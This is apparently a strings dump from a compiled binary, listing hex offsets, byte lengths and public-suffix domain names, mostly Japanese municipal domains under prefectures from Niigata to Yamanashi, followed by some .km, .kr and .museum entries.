0x19a9d04 (38): itoigawa.niigata.jp
0x19a9d3c (40): izumozaki.niigata.jp
0x19a9d78 (34): joetsu.niigata.jp
0x19a9dac (30): kamo.niigata.jp
0x19a9ddc (34): kariwa.niigata.jp
0x19a9e10 (44): kashiwazaki.niigata.jp
0x19a9e50 (46): minamiuonuma.niigata.jp
0x19a9e90 (36): mitsuke.niigata.jp
0x19a9ec8 (32): muika.niigata.jp
0x19a9efc (38): murakami.niigata.jp
0x19a9f34 (32): myoko.niigata.jp
0x19a9f68 (36): nagaoka.niigata.jp
0x19a9fa0 (36): niigata.niigata.jp
0x19a9fd8 (32): ojiya.niigata.jp
0x19aa00c (28): omi.niigata.jp
0x19aa03c (30): sado.niigata.jp
0x19aa06c (32): sanjo.niigata.jp
0x19aa0a0 (32): seiro.niigata.jp
0x19aa0d4 (34): seirou.niigata.jp
0x19aa108 (38): sekikawa.niigata.jp
0x19aa140 (36): shibata.niigata.jp
0x19aa178 (34): tagami.niigata.jp
0x19aa1ac (34): tainai.niigata.jp
0x19aa1e0 (34): tochio.niigata.jp
0x19aa214 (40): tokamachi.niigata.jp
0x19aa250 (36): tsubame.niigata.jp
0x19aa288 (34): tsunan.niigata.jp
0x19aa2bc (34): uonuma.niigata.jp
0x19aa2f0 (34): yahiko.niigata.jp
0x19aa324 (32): yoita.niigata.jp
0x19aa358 (34): yuzawa.niigata.jp
0x19aa38c (26): beppu.oita.jp
0x19aa3b8 (32): bungoono.oita.jp
0x19aa3ec (38): bungotakada.oita.jp
0x19aa424 (28): hasama.oita.jp
0x19aa454 (24): hiji.oita.jp
0x19aa480 (34): himeshima.oita.jp
0x19aa4b4 (24): hita.oita.jp
0x19aa4e0 (32): kamitsue.oita.jp
0x19aa514 (30): kokonoe.oita.jp
0x19aa544 (24): kuju.oita.jp
0x19aa570 (32): kunisaki.oita.jp
0x19aa5a4 (24): kusu.oita.jp
0x19aa5d0 (24): oita.oita.jp
0x19aa5fc (26): saiki.oita.jp
0x19aa628 (28): taketa.oita.jp
0x19aa658 (30): tsukumi.oita.jp
0x19aa688 (22): usa.oita.jp
0x19aa6b0 (26): usuki.oita.jp
0x19aa6dc (24): yufu.oita.jp
0x19aa708 (34): akaiwa.okayama.jp
0x19aa73c (38): asakuchi.okayama.jp
0x19aa774 (32): bizen.okayama.jp
0x19aa7a8 (40): hayashima.okayama.jp
0x19aa7e4 (32): ibara.okayama.jp
0x19aa818 (38): kagamino.okayama.jp
0x19aa850 (36): kasaoka.okayama.jp
0x19aa888 (38): kibichuo.okayama.jp
0x19aa8c0 (36): kumenan.okayama.jp
0x19aa8f8 (40): kurashiki.okayama.jp
0x19aa934 (34): maniwa.okayama.jp
0x19aa968 (34): misaki.okayama.jp
0x19aa99c (30): nagi.okayama.jp
0x19aa9cc (32): niimi.okayama.jp
0x19aaa00 (46): nishiawakura.okayama.jp
0x19aaa40 (36): okayama.okayama.jp
0x19aaa78 (36): satosho.okayama.jp
0x19aaab0 (38): setouchi.okayama.jp
0x19aaae8 (34): shinjo.okayama.jp
0x19aab1c (30): shoo.okayama.jp
0x19aab4c (30): soja.okayama.jp
0x19aab7c (40): takahashi.okayama.jp
0x19aabb8 (34): tamano.okayama.jp
0x19aabec (36): tsuyama.okayama.jp
0x19aac24 (30): wake.okayama.jp
0x19aac54 (34): yakage.okayama.jp
0x19aac88 (32): aguni.okinawa.jp
0x19aacbc (36): ginowan.okinawa.jp
0x19aacf4 (34): ginoza.okinawa.jp
0x19aad28 (40): gushikami.okinawa.jp
0x19aad64 (36): haebaru.okinawa.jp
0x19aad9c (36): higashi.okinawa.jp
0x19aadd4 (34): hirara.okinawa.jp
0x19aae08 (32): iheya.okinawa.jp
0x19aae3c (38): ishigaki.okinawa.jp
0x19aae74 (38): ishikawa.okinawa.jp
0x19aaeac (34): itoman.okinawa.jp
0x19aaee0 (32): izena.okinawa.jp
0x19aaf14 (34): kadena.okinawa.jp
0x19aaf48 (28): kin.okinawa.jp
0x19aaf78 (40): kitadaito.okinawa.jp
0x19aafb4 (50): kitanakagusuku.okinawa.jp
0x19aaff8 (38): kumejima.okinawa.jp
0x19ab030 (38): kunigami.okinawa.jp
0x19ab068 (44): minamidaito.okinawa.jp
0x19ab0a8 (34): motobu.okinawa.jp
0x19ab0dc (30): nago.okinawa.jp
0x19ab10c (30): naha.okinawa.jp
0x19ab13c (42): nakagusuku.okinawa.jp
0x19ab178 (36): nakijin.okinawa.jp
0x19ab1b0 (32): nanjo.okinawa.jp
0x19ab1e4 (40): nishihara.okinawa.jp
0x19ab220 (32): ogimi.okinawa.jp
0x19ab254 (36): okinawa.okinawa.jp
0x19ab28c (30): onna.okinawa.jp
0x19ab2bc (36): shimoji.okinawa.jp
0x19ab2f4 (38): taketomi.okinawa.jp
0x19ab32c (34): tarama.okinawa.jp
0x19ab360 (40): tokashiki.okinawa.jp
0x19ab39c (42): tomigusuku.okinawa.jp
0x19ab3d8 (34): tonaki.okinawa.jp
0x19ab40c (34): urasoe.okinawa.jp
0x19ab440 (32): uruma.okinawa.jp
0x19ab474 (32): yaese.okinawa.jp
0x19ab4a8 (36): yomitan.okinawa.jp
0x19ab4e0 (38): yonabaru.okinawa.jp
0x19ab518 (38): yonaguni.okinawa.jp
0x19ab550 (34): zamami.okinawa.jp
0x19ab584 (28): abeno.osaka.jp
0x19ab5b4 (46): chihayaakasaka.osaka.jp
0x19ab5f4 (26): chuo.osaka.jp
0x19ab620 (28): daito.osaka.jp
0x19ab650 (36): fujiidera.osaka.jp
0x19ab688 (34): habikino.osaka.jp
0x19ab6bc (30): hannan.osaka.jp
0x19ab6ec (42): higashiosaka.osaka.jp
0x19ab728 (50): higashisumiyoshi.osaka.jp
0x19ab76c (48): higashiyodogawa.osaka.jp
0x19ab7b0 (34): hirakata.osaka.jp
0x19ab7e4 (32): ibaraki.osaka.jp
0x19ab818 (28): ikeda.osaka.jp
0x19ab848 (28): izumi.osaka.jp
0x19ab878 (36): izumiotsu.osaka.jp
0x19ab8b0 (36): izumisano.osaka.jp
0x19ab8e8 (30): kadoma.osaka.jp
0x19ab918 (32): kaizuka.osaka.jp
0x19ab94c (28): kanan.osaka.jp
0x19ab97c (36): kashiwara.osaka.jp
0x19ab9b4 (30): katano.osaka.jp
0x19ab9e4 (44): kawachinagano.osaka.jp
0x19aba24 (36): kishiwada.osaka.jp
0x19aba5c (26): kita.osaka.jp
0x19aba88 (34): kumatori.osaka.jp
0x19ababc (36): matsubara.osaka.jp
0x19abaf4 (30): minato.osaka.jp
0x19abb24 (28): minoh.osaka.jp
0x19abb54 (30): misaki.osaka.jp
0x19abb84 (36): moriguchi.osaka.jp
0x19abbbc (34): neyagawa.osaka.jp
0x19abbf0 (28): nishi.osaka.jp
0x19abc20 (26): nose.osaka.jp
0x19abc4c (40): osakasayama.osaka.jp
0x19abc88 (28): sakai.osaka.jp
0x19abcb8 (30): sayama.osaka.jp
0x19abce8 (30): sennan.osaka.jp
0x19abd18 (30): settsu.osaka.jp
0x19abd48 (40): shijonawate.osaka.jp
0x19abd84 (36): shimamoto.osaka.jp
0x19abdbc (28): suita.osaka.jp
0x19abdec (32): tadaoka.osaka.jp
0x19abe20 (30): taishi.osaka.jp
0x19abe50 (30): tajiri.osaka.jp
0x19abe80 (34): takaishi.osaka.jp
0x19abeb4 (36): takatsuki.osaka.jp
0x19abeec (42): tondabayashi.osaka.jp
0x19abf28 (34): toyonaka.osaka.jp
0x19abf5c (30): toyono.osaka.jp
0x19abf8c (24): yao.osaka.jp
0x19abfb8 (28): ariake.saga.jp
0x19abfe8 (26): arita.saga.jp
0x19ac014 (32): fukudomi.saga.jp
0x19ac048 (28): genkai.saga.jp
0x19ac078 (32): hamatama.saga.jp
0x19ac0ac (26): hizen.saga.jp
0x19ac0d8 (26): imari.saga.jp
0x19ac104 (32): kamimine.saga.jp
0x19ac138 (30): kanzaki.saga.jp
0x19ac168 (30): karatsu.saga.jp
0x19ac198 (30): kashima.saga.jp
0x19ac1c8 (32): kitagata.saga.jp
0x19ac1fc (32): kitahata.saga.jp
0x19ac230 (28): kiyama.saga.jp
0x19ac260 (30): kouhoku.saga.jp
0x19ac290 (30): kyuragi.saga.jp
0x19ac2c0 (36): nishiarita.saga.jp
0x19ac2f8 (22): ogi.saga.jp
0x19ac320 (28): omachi.saga.jp
0x19ac350 (26): ouchi.saga.jp
0x19ac37c (24): saga.saga.jp
0x19ac3a8 (34): shiroishi.saga.jp
0x19ac3dc (24): taku.saga.jp
0x19ac408 (24): tara.saga.jp
0x19ac434 (24): tosu.saga.jp
0x19ac460 (38): yoshinogari.saga.jp
0x19ac498 (36): arakawa.saitama.jp
0x19ac4d0 (32): asaka.saitama.jp
0x19ac504 (38): chichibu.saitama.jp
0x19ac53c (34): fujimi.saitama.jp
0x19ac570 (38): fujimino.saitama.jp
0x19ac5a8 (34): fukaya.saitama.jp
0x19ac5dc (32): hanno.saitama.jp
0x19ac610 (32): hanyu.saitama.jp
0x19ac644 (34): hasuda.saitama.jp
0x19ac678 (38): hatogaya.saitama.jp
0x19ac6b0 (38): hatoyama.saitama.jp
0x19ac6e8 (34): hidaka.saitama.jp
0x19ac71c (52): higashichichibu.saitama.jp
0x19ac764 (54): higashimatsuyama.saitama.jp
0x19ac7ac (32): honjo.saitama.jp
0x19ac7e0 (28): ina.saitama.jp
0x19ac810 (32): iruma.saitama.jp
0x19ac844 (38): iwatsuki.saitama.jp
0x19ac87c (40): kamiizumi.saitama.jp
0x19ac8b8 (38): kamikawa.saitama.jp
0x19ac8f0 (38): kamisato.saitama.jp
0x19ac928 (38): kasukabe.saitama.jp
0x19ac960 (36): kawagoe.saitama.jp
0x19ac998 (40): kawaguchi.saitama.jp
0x19ac9d4 (38): kawajima.saitama.jp
0x19aca0c (30): kazo.saitama.jp
0x19aca3c (38): kitamoto.saitama.jp
0x19aca74 (40): koshigaya.saitama.jp
0x19acab0 (36): kounosu.saitama.jp
0x19acae8 (30): kuki.saitama.jp
0x19acb18 (38): kumagaya.saitama.jp
0x19acb50 (42): matsubushi.saitama.jp
0x19acb8c (34): minano.saitama.jp
0x19acbc0 (34): misato.saitama.jp
0x19acbf4 (40): miyashiro.saitama.jp
0x19acc30 (36): miyoshi.saitama.jp
0x19acc68 (38): moroyama.saitama.jp
0x19acca0 (38): nagatoro.saitama.jp
0x19accd8 (38): namegawa.saitama.jp
0x19acd10 (32): niiza.saitama.jp
0x19acd44 (32): ogano.saitama.jp
0x19acd78 (32): ogawa.saitama.jp
0x19acdac (32): ogose.saitama.jp
0x19acde0 (36): okegawa.saitama.jp
0x19ace18 (32): omiya.saitama.jp
0x19ace4c (32): otaki.saitama.jp
0x19ace80 (34): ranzan.saitama.jp
0x19aceb4 (36): ryokami.saitama.jp
0x19aceec (36): saitama.saitama.jp
0x19acf24 (34): sakado.saitama.jp
0x19acf58 (32): satte.saitama.jp
0x19acf8c (34): sayama.saitama.jp
0x19acfc0 (32): shiki.saitama.jp
0x19acff4 (38): shiraoka.saitama.jp
0x19ad02c (30): soka.saitama.jp
0x19ad05c (34): sugito.saitama.jp
0x19ad090 (30): toda.saitama.jp
0x19ad0c0 (38): tokigawa.saitama.jp
0x19ad0f8 (42): tokorozawa.saitama.jp
0x19ad134 (46): tsurugashima.saitama.jp
0x19ad174 (32): urawa.saitama.jp
0x19ad1a8 (34): warabi.saitama.jp
0x19ad1dc (34): yashio.saitama.jp
0x19ad210 (34): yokoze.saitama.jp
0x19ad244 (30): yono.saitama.jp
0x19ad274 (32): yorii.saitama.jp
0x19ad2a8 (36): yoshida.saitama.jp
0x19ad2e0 (40): yoshikawa.saitama.jp
0x19ad31c (36): yoshimi.saitama.jp
0x19ad354 (28): aisho.shiga.jp
0x19ad384 (26): gamo.shiga.jp
0x19ad3b0 (38): higashiomi.shiga.jp
0x19ad3e8 (30): hikone.shiga.jp
0x19ad418 (26): koka.shiga.jp
0x19ad444 (28): konan.shiga.jp
0x19ad474 (28): kosei.shiga.jp
0x19ad4a4 (26): koto.shiga.jp
0x19ad4d0 (32): kusatsu.shiga.jp
0x19ad504 (32): maibara.shiga.jp
0x19ad538 (34): moriyama.shiga.jp
0x19ad56c (34): nagahama.shiga.jp
0x19ad5a0 (36): nishiazai.shiga.jp
0x19ad5d8 (34): notogawa.shiga.jp
0x19ad60c (40): omihachiman.shiga.jp
0x19ad648 (26): otsu.shiga.jp
0x19ad674 (28): ritto.shiga.jp
0x19ad6a4 (28): ryuoh.shiga.jp
0x19ad6d4 (36): takashima.shiga.jp
0x19ad70c (36): takatsuki.shiga.jp
0x19ad744 (34): torahime.shiga.jp
0x19ad778 (34): toyosato.shiga.jp
0x19ad7ac (26): yasu.shiga.jp
0x19ad7d8 (32): akagi.shimane.jp
0x19ad80c (28): ama.shimane.jp
0x19ad83c (32): gotsu.shimane.jp
0x19ad870 (34): hamada.shimane.jp
0x19ad8a4 (46): higashiizumo.shimane.jp
0x19ad8e4 (34): hikawa.shimane.jp
0x19ad918 (34): hikimi.shimane.jp
0x19ad94c (32): izumo.shimane.jp
0x19ad980 (38): kakinoki.shimane.jp
0x19ad9b8 (34): masuda.shimane.jp
0x19ad9ec (34): matsue.shimane.jp
0x19ada20 (34): misato.shimane.jp
0x19ada54 (46): nishinoshima.shimane.jp
0x19ada94 (30): ohda.shimane.jp
0x19adac4 (42): okinoshima.shimane.jp
0x19adb00 (38): okuizumo.shimane.jp
0x19adb38 (36): shimane.shimane.jp
0x19adb70 (34): tamayu.shimane.jp
0x19adba4 (36): tsuwano.shimane.jp
0x19adbdc (32): unnan.shimane.jp
0x19adc10 (34): yakumo.shimane.jp
0x19adc44 (34): yasugi.shimane.jp
0x19adc78 (36): yatsuka.shimane.jp
0x19adcb0 (32): arai.shizuoka.jp
0x19adce4 (34): atami.shizuoka.jp
0x19add18 (32): fuji.shizuoka.jp
0x19add4c (38): fujieda.shizuoka.jp
0x19add84 (40): fujikawa.shizuoka.jp
0x19addc0 (44): fujinomiya.shizuoka.jp
0x19ade00 (38): fukuroi.shizuoka.jp
0x19ade38 (38): gotemba.shizuoka.jp
0x19ade70 (38): haibara.shizuoka.jp
0x19adea8 (42): hamamatsu.shizuoka.jp
0x19adee4 (44): higashiizu.shizuoka.jp
0x19adf24 (30): ito.shizuoka.jp
0x19adf54 (34): iwata.shizuoka.jp
0x19adf88 (30): izu.shizuoka.jp
0x19adfb8 (42): izunokuni.shizuoka.jp
0x19adff4 (40): kakegawa.shizuoka.jp
0x19ae030 (38): kannami.shizuoka.jp
0x19ae068 (42): kawanehon.shizuoka.jp
0x19ae0a4 (36): kawazu.shizuoka.jp
0x19ae0dc (40): kikugawa.shizuoka.jp
0x19ae118 (34): kosai.shizuoka.jp
0x19ae14c (44): makinohara.shizuoka.jp
0x19ae18c (42): matsuzaki.shizuoka.jp
0x19ae1c8 (42): minamiizu.shizuoka.jp
0x19ae204 (38): mishima.shizuoka.jp
0x19ae23c (42): morimachi.shizuoka.jp
0x19ae278 (40): nishiizu.shizuoka.jp
0x19ae2b4 (36): numazu.shizuoka.jp
0x19ae2ec (40): omaezaki.shizuoka.jp
0x19ae328 (38): shimada.shizuoka.jp
0x19ae360 (38): shimizu.shizuoka.jp
0x19ae398 (38): shimoda.shizuoka.jp
0x19ae3d0 (40): shizuoka.shizuoka.jp
0x19ae40c (36): susono.shizuoka.jp
0x19ae444 (34): yaizu.shizuoka.jp
0x19ae478 (38): yoshida.shizuoka.jp
0x19ae4b0 (38): ashikaga.tochigi.jp
0x19ae4e8 (30): bato.tochigi.jp
0x19ae518 (30): haga.tochigi.jp
0x19ae548 (36): ichikai.tochigi.jp
0x19ae580 (36): iwafune.tochigi.jp
0x19ae5b8 (42): kaminokawa.tochigi.jp
0x19ae5f4 (34): kanuma.tochigi.jp
0x19ae628 (42): karasuyama.tochigi.jp
0x19ae664 (36): kuroiso.tochigi.jp
0x19ae69c (36): mashiko.tochigi.jp
0x19ae6d4 (30): mibu.tochigi.jp
0x19ae704 (30): moka.tochigi.jp
0x19ae734 (34): motegi.tochigi.jp
0x19ae768 (30): nasu.tochigi.jp
0x19ae798 (46): nasushiobara.tochigi.jp
0x19ae7d8 (32): nikko.tochigi.jp
0x19ae80c (40): nishikata.tochigi.jp
0x19ae848 (30): nogi.tochigi.jp
0x19ae878 (32): ohira.tochigi.jp
0x19ae8ac (38): ohtawara.tochigi.jp
0x19ae8e4 (32): oyama.tochigi.jp
0x19ae918 (34): sakura.tochigi.jp
0x19ae94c (30): sano.tochigi.jp
0x19ae97c (42): shimotsuke.tochigi.jp
0x19ae9b8 (34): shioya.tochigi.jp
0x19ae9ec (42): takanezawa.tochigi.jp
0x19aea28 (36): tochigi.tochigi.jp
0x19aea60 (32): tsuga.tochigi.jp
0x19aea94 (32): ujiie.tochigi.jp
0x19aeac8 (42): utsunomiya.tochigi.jp
0x19aeb04 (32): yaita.tochigi.jp
0x19aeb38 (38): aizumi.tokushima.jp
0x19aeb70 (34): anan.tokushima.jp
0x19aeba4 (38): ichiba.tokushima.jp
0x19aebdc (36): itano.tokushima.jp
0x19aec14 (38): kainan.tokushima.jp
0x19aec4c (50): komatsushima.tokushima.jp
0x19aec90 (46): matsushige.tokushima.jp
0x19aecd0 (34): mima.tokushima.jp
0x19aed04 (38): minami.tokushima.jp
0x19aed3c (40): miyoshi.tokushima.jp
0x19aed78 (34): mugi.tokushima.jp
0x19aedac (42): nakagawa.tokushima.jp
0x19aede8 (38): naruto.tokushima.jp
0x19aee20 (44): sanagochi.tokushima.jp
0x19aee60 (44): shishikui.tokushima.jp
0x19aeea0 (44): tokushima.tokushima.jp
0x19aeee0 (38): wajiki.tokushima.jp
0x19aef18 (30): adachi.tokyo.jp
0x19aef48 (32): akiruno.tokyo.jp
0x19aef7c (34): akishima.tokyo.jp
0x19aefb0 (36): aogashima.tokyo.jp
0x19aefe8 (32): arakawa.tokyo.jp
0x19af01c (30): bunkyo.tokyo.jp
0x19af04c (32): chiyoda.tokyo.jp
0x19af080 (28): chofu.tokyo.jp
0x19af0b0 (26): chuo.tokyo.jp
0x19af0dc (32): edogawa.tokyo.jp
0x19af110 (28): fuchu.tokyo.jp
0x19af140 (28): fussa.tokyo.jp
0x19af170 (32): hachijo.tokyo.jp
0x19af1a4 (34): hachioji.tokyo.jp
0x19af1d8 (30): hamura.tokyo.jp
0x19af208 (44): higashikurume.tokyo.jp
0x19af248 (48): higashimurayama.tokyo.jp
0x19af28c (44): higashiyamato.tokyo.jp
0x19af2cc (26): hino.tokyo.jp
0x19af2f8 (30): hinode.tokyo.jp
0x19af328 (34): hinohara.tokyo.jp
0x19af35c (28): inagi.tokyo.jp
0x19af38c (34): itabashi.tokyo.jp
0x19af3c0 (38): katsushika.tokyo.jp
0x19af3f8 (26): kita.tokyo.jp
0x19af424 (30): kiyose.tokyo.jp
0x19af454 (32): kodaira.tokyo.jp
0x19af488 (32): koganei.tokyo.jp
0x19af4bc (36): kokubunji.tokyo.jp
0x19af4f4 (28): komae.tokyo.jp
0x19af524 (26): koto.tokyo.jp
0x19af550 (38): kouzushima.tokyo.jp
0x19af588 (36): kunitachi.tokyo.jp
0x19af5c0 (32): machida.tokyo.jp
0x19af5f4 (30): meguro.tokyo.jp
0x19af624 (30): minato.tokyo.jp
0x19af654 (30): mitaka.tokyo.jp
0x19af684 (30): mizuho.tokyo.jp
0x19af6b4 (48): musashimurayama.tokyo.jp
0x19af6f8 (36): musashino.tokyo.jp
0x19af730 (30): nakano.tokyo.jp
0x19af760 (30): nerima.tokyo.jp
0x19af790 (36): ogasawara.tokyo.jp
0x19af7c8 (32): okutama.tokyo.jp
0x19af7fc (24): ome.tokyo.jp
0x19af828 (30): oshima.tokyo.jp
0x19af858 (24): ota.tokyo.jp
0x19af884 (34): setagaya.tokyo.jp
0x19af8b8 (32): shibuya.tokyo.jp
0x19af8ec (36): shinagawa.tokyo.jp
0x19af924 (34): shinjuku.tokyo.jp
0x19af958 (34): suginami.tokyo.jp
0x19af98c (30): sumida.tokyo.jp
0x19af9bc (36): tachikawa.tokyo.jp
0x19af9f4 (28): taito.tokyo.jp
0x19afa24 (26): tama.tokyo.jp
0x19afa50 (32): toshima.tokyo.jp
0x19afa84 (32): chizu.tottori.jp
0x19afab8 (30): hino.tottori.jp
0x19afae8 (38): kawahara.tottori.jp
0x19afb20 (30): koge.tottori.jp
0x19afb50 (36): kotoura.tottori.jp
0x19afb88 (34): misasa.tottori.jp
0x19afbbc (32): nanbu.tottori.jp
0x19afbf0 (38): nichinan.tottori.jp
0x19afc28 (44): sakaiminato.tottori.jp
0x19afc68 (36): tottori.tottori.jp
0x19afca0 (34): wakasa.tottori.jp
0x19afcd4 (30): yazu.tottori.jp
0x19afd04 (34): yonago.tottori.jp
0x19afd38 (30): asahi.toyama.jp
0x19afd68 (30): fuchu.toyama.jp
0x19afd98 (38): fukumitsu.toyama.jp
0x19afdd0 (38): funahashi.toyama.jp
0x19afe08 (28): himi.toyama.jp
0x19afe38 (30): imizu.toyama.jp
0x19afe68 (30): inami.toyama.jp
0x19afe98 (32): johana.toyama.jp
0x19afecc (36): kamiichi.toyama.jp
0x19aff04 (32): kurobe.toyama.jp
0x19aff38 (42): nakaniikawa.toyama.jp
0x19aff74 (40): namerikawa.toyama.jp
0x19affb0 (30): nanto.toyama.jp
0x19affe0 (32): nyuzen.toyama.jp
0x19b0014 (30): oyabe.toyama.jp
0x19b0044 (30): taira.toyama.jp
0x19b0074 (34): takaoka.toyama.jp
0x19b00a8 (36): tateyama.toyama.jp
0x19b00e0 (28): toga.toyama.jp
0x19b0110 (32): tonami.toyama.jp
0x19b0144 (32): toyama.toyama.jp
0x19b0178 (34): unazuki.toyama.jp
0x19b01ac (28): uozu.toyama.jp
0x19b01dc (32): yamada.toyama.jp
0x19b0210 (34): arida.wakayama.jp
0x19b0244 (42): aridagawa.wakayama.jp
0x19b0280 (32): gobo.wakayama.jp
0x19b02b4 (42): hashimoto.wakayama.jp
0x19b02f0 (36): hidaka.wakayama.jp
0x19b0328 (40): hirogawa.wakayama.jp
0x19b0364 (34): inami.wakayama.jp
0x19b0398 (34): iwade.wakayama.jp
0x19b03cc (36): kainan.wakayama.jp
0x19b0404 (42): kamitonda.wakayama.jp
0x19b0440 (42): katsuragi.wakayama.jp
0x19b047c (36): kimino.wakayama.jp
0x19b04b4 (40): kinokawa.wakayama.jp
0x19b04f0 (40): kitayama.wakayama.jp
0x19b052c (32): koya.wakayama.jp
0x19b0560 (32): koza.wakayama.jp
0x19b0594 (40): kozagawa.wakayama.jp
0x19b05d0 (40): kudoyama.wakayama.jp
0x19b060c (42): kushimoto.wakayama.jp
0x19b0648 (36): mihama.wakayama.jp
0x19b0680 (36): misato.wakayama.jp
0x19b06b8 (50): nachikatsuura.wakayama.jp
0x19b06fc (36): shingu.wakayama.jp
0x19b0734 (42): shirahama.wakayama.jp
0x19b0770 (34): taiji.wakayama.jp
0x19b07a4 (36): tanabe.wakayama.jp
0x19b07dc (40): wakayama.wakayama.jp
0x19b0818 (34): yuasa.wakayama.jp
0x19b084c (32): yura.wakayama.jp
0x19b0880 (34): asahi.yamagata.jp
0x19b08b4 (40): funagata.yamagata.jp
0x19b08f0 (42): higashine.yamagata.jp
0x19b092c (32): iide.yamagata.jp
0x19b0960 (36): kahoku.yamagata.jp
0x19b0998 (44): kaminoyama.yamagata.jp
0x19b09d8 (40): kaneyama.yamagata.jp
0x19b0a14 (42): kawanishi.yamagata.jp
0x19b0a50 (44): mamurogawa.yamagata.jp
0x19b0a90 (36): mikawa.yamagata.jp
0x19b0ac8 (40): murayama.yamagata.jp
0x19b0b04 (34): nagai.yamagata.jp
0x19b0b38 (40): nakayama.yamagata.jp
0x19b0b74 (34): nanyo.yamagata.jp
0x19b0ba8 (42): nishikawa.yamagata.jp
0x19b0be4 (42): obanazawa.yamagata.jp
0x19b0c20 (28): oe.yamagata.jp
0x19b0c50 (34): oguni.yamagata.jp
0x19b0c84 (36): ohkura.yamagata.jp
0x19b0cbc (38): oishida.yamagata.jp
0x19b0cf4 (34): sagae.yamagata.jp
0x19b0d28 (36): sakata.yamagata.jp
0x19b0d60 (40): sakegawa.yamagata.jp
0x19b0d9c (36): shinjo.yamagata.jp
0x19b0dd4 (42): shirataka.yamagata.jp
0x19b0e10 (36): shonai.yamagata.jp
0x19b0e48 (40): takahata.yamagata.jp
0x19b0e84 (34): tendo.yamagata.jp
0x19b0eb8 (36): tozawa.yamagata.jp
0x19b0ef0 (40): tsuruoka.yamagata.jp
0x19b0f2c (40): yamagata.yamagata.jp
0x19b0f68 (40): yamanobe.yamagata.jp
0x19b0fa4 (40): yonezawa.yamagata.jp
0x19b0fe0 (32): yuza.yamagata.jp
0x19b1014 (32): abu.yamaguchi.jp
0x19b1048 (34): hagi.yamaguchi.jp
0x19b107c (38): hikari.yamaguchi.jp
0x19b10b4 (34): hofu.yamaguchi.jp
0x19b10e8 (40): iwakuni.yamaguchi.jp
0x19b1124 (44): kudamatsu.yamaguchi.jp
0x19b1164 (36): mitou.yamaguchi.jp
0x19b119c (38): nagato.yamaguchi.jp
0x19b11d4 (38): oshima.yamaguchi.jp
0x19b120c (48): shimonoseki.yamaguchi.jp
0x19b1250 (38): shunan.yamaguchi.jp
0x19b1288 (38): tabuse.yamaguchi.jp
0x19b12c0 (42): tokuyama.yamaguchi.jp
0x19b12fc (38): toyota.yamaguchi.jp
0x19b1334 (32): ube.yamaguchi.jp
0x19b1368 (32): yuu.yamaguchi.jp
0x19b139c (34): chuo.yamanashi.jp
0x19b13d0 (36): doshi.yamanashi.jp
0x19b1408 (40): fuefuki.yamanashi.jp
0x19b1444 (42): fujikawa.yamanashi.jp
0x19b1480 (56): fujikawaguchiko.yamanashi.jp
0x19b14cc (48): fujiyoshida.yamanashi.jp
0x19b1510 (42): hayakawa.yamanashi.jp
0x19b154c (38): hokuto.yamanashi.jp
0x19b1584 (54): ichikawamisato.yamanashi.jp
0x19b15cc (32): kai.yamanashi.jp
0x19b1600 (34): kofu.yamanashi.jp
0x19b1634 (36): koshu.yamanashi.jp
0x19b166c (38): kosuge.yamanashi.jp
0x19b16a4 (48): minami-alps.yamanashi.jp
0x19b16e8 (38): minobu.yamanashi.jp
0x19b1720 (44): nakamichi.yamanashi.jp
0x19b1760 (36): nanbu.yamanashi.jp
0x19b1798 (42): narusawa.yamanashi.jp
0x19b17d4 (42): nirasaki.yamanashi.jp
0x19b1810 (50): nishikatsura.yamanashi.jp
0x19b1854 (38): oshino.yamanashi.jp
0x19b188c (38): otsuki.yamanashi.jp
0x19b18c4 (36): showa.yamanashi.jp
0x19b18fc (42): tabayama.yamanashi.jp
0x19b1938 (36): tsuru.yamanashi.jp
0x19b1970 (42): uenohara.yamanashi.jp
0x19b19ac (46): yamanakako.yamanashi.jp
0x19b19ec (44): yamanashi.yamanashi.jp
0x19b1dcc (20): medecin.km
0x19b1df4 (22): notaires.km
0x19b1e1c (28): pharmaciens.km
0x19b1e4c (28): veterinaire.km
0x19b21b8 (22): chungbuk.kr
0x19b21e0 (22): chungnam.kr
0x19b222c (20): daejeon.kr
0x19b2254 (20): gangwon.kr
0x19b227c (20): gwangju.kr
0x19b22a4 (24): gyeongbuk.kr
0x19b22d0 (22): gyeonggi.kr
0x19b22f8 (24): gyeongnam.kr
0x19b2324 (20): incheon.kr
0x19b236c (20): jeonbuk.kr
0x19b2394 (20): jeonnam.kr
0x19b37c0 (28): academy.museum
0x19b37f0 (36): agriculture.museum
0x19b3828 (20): air.museum
0x19b3850 (30): airguard.museum
0x19b3880 (28): alabama.museum
0x19b38b0 (26): alaska.museum
0x19b38dc (24): amber.museum
0x19b3908 (32): ambulance.museum
0x19b393c (30): american.museum
0x19b396c (32): americana.museum
0x19b39a0 (46): americanantiques.museum
0x19b39e0 (36): americanart.museum
0x19b3a18 (32): amsterdam.museum
0x19b3a4c (20): and.museum
0x19b3a74 (32): annefrank.museum
0x19b3aa8 (26): anthro.museum
0x19b3ad4 (38): anthropology.museum
0x19b3b0c (30): antiques.museum
0x19b3b3c (30): aquarium.museum
0x19b3b6c (32): arboretum.museum
0x19b3ba0 (42): archaeological.museum
0x19b3bdc (36): archaeology.museum
0x19b3c14 (38): architecture.museum
0x19b3c4c (20): art.museum
0x19b3c74 (38): artanddesign.museum
0x19b3cac (32): artcenter.museum
0x19b3ce0 (28): artdeco.museum
0x19b3d10 (38): arteducation.museum
0x19b3d48 (34): artgallery.museum
0x19b3d7c (22): arts.museum
0x19b3da4 (40): artsandcrafts.museum
0x19b3de0 (30): asmatart.museum
0x19b3e10 (40): assassination.museum
0x19b3e4c (26): assisi.museum
0x19b3e78 (36): association.museum
0x19b3eb0 (32): astronomy.museum
0x19b3ee4 (28): atlanta.museum
0x19b3f14 (26): austin.museum
0x19b3f40 (32): australia.museum
0x19b3f74 (34): automotive.museum
0x19b3fa8 (30): aviation.museum
0x19b3fd8 (22): axis.museum
0x19b4000 (28): badajoz.museum
0x19b4030 (28): baghdad.museum
0x19b4060 (22): bahn.museum
0x19b4088 (22): bale.museum
0x19b40b0 (32): baltimore.museum
0x19b40e4 (32): barcelona.museum
0x19b4118 (30): baseball.museum
0x19b4148 (24): basel.museum
0x19b4174 (24): baths.museum
0x19b41a0 (26): bauern.museum
0x19b41cc (32): beauxarts.museum
0x19b4200 (40): beeldengeluid.museum
0x19b423c (30): bellevue.museum
0x19b426c (28): bergbau.museum
0x19b429c (30): berkeley.museum
0x19b42cc (26): berlin.museum
0x19b42f8 (22): bern.museum
0x19b4320 (24): bible.museum
0x19b434c (26): bilbao.museum
0x19b4378 (22): bill.museum
0x19b43a0 (28): birdart.museum
0x19b43d0 (34): birthplace.museum
0x19b4404 (22): bonn.museum
